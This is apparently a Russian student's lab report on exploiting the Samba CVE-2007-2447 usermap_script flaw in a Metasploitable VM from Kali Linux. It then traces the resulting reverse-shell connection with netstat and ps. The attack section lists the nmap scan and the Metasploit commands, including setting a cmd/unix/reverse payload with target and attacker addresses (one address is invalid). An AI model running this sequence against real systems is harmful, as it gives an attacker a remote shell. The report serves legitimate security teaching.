**ФИО:** Степанищева Анастасия Андреевна

**Группа:** 11–902

**Тема:** ЛАБОРАТОРНАЯ РАБОТА №3. ИСПОЛЬЗОВАНИЕ УЯЗВИМОСТИ ПРОТОКОЛА SAMBA: CVE - 2007 - 2447. СЕТЕВАЯ ФОРЕНЗИКА

**Содержание:**

1. Атака на Metasploitable

2. Форензика

3. Результаты

**1. Атака на Metasploitable**

Перед началом работы разворачиваем виртуальные машины из предыдущих лабораторных работ (Kali Linux и Metasploitable). Запоминаем выданные DHCP-сервером ip адреса и пингуем друг друга.

На атакующей машине (Kali Linux) сканируем машину жертву и сохраняем в файл /var/tmp/scan.txt (nmap -p 1-65535 -T4 -A –v MS\_IP 2>&1 | tee /var/tmp/scan.txt)

Определяем порты, которые используются samba. Для этого выполняем анализ файла /var/tmp/scan.txt ( grep -I samba /var/tmp/scan.txt)

В терминале Kali Linux запускаем msfconsole и выводим список эксплоитов, по использованию уязвимостей пакета samba (search samba).

Запускаем эксплоит, позволяющий использовать уязвимость CVE - 2007 – 2447 (use exploit/multi/samba/usermap\_script) и выводим список payload для него (show payloads)

Устанавливаем payload, осуществляющий передачу sh-консоли по telnet (set PAYLOAD cmd/unix/reverse)

Устанавливаем значения RHOST 192.168.31.173 (MS\_IP), RPORT 445, LHOST 192.168.301.204 (KL\_IP)

Активируем эксплоит (exploit), проверяем успешность атаки (hostname, ifconfig eth0, whoami)

**2. Форензика**

После предоставления прав супер-пользователя, проанализируем открытые порты и системные процессы на этих портах.( netstat –noap | less). Неизвестные соединение на порту 4444.

Изучим их подробнее (ps -eaf | grep pid | grep -v grep). Сохраним результаты в /var/tmp/samba.txt (ps -eaf | grep -v grep | grep 4444 >> /var/tmp/samba.txt)

Изображение выглядит как текст

Автоматически созданное описание

Есть неизвестные соединения с ip 192.168.31.173 на порту 4444. На процессах 5467, 5472 выполняется telnet. На процессе 5468 выполняется скрипт, подробнее на фото выше.

**3. Результаты**

Последовательно выводим в консоль «жертвы» результаты выполнения следующих команд:

1) date;

2) echo "Ф.И.О. проделавшего работу";

3) cat /var/tmp/samba.txt

Изображение выглядит как текст, монитор, снимок экрана, экран

Автоматически созданное описание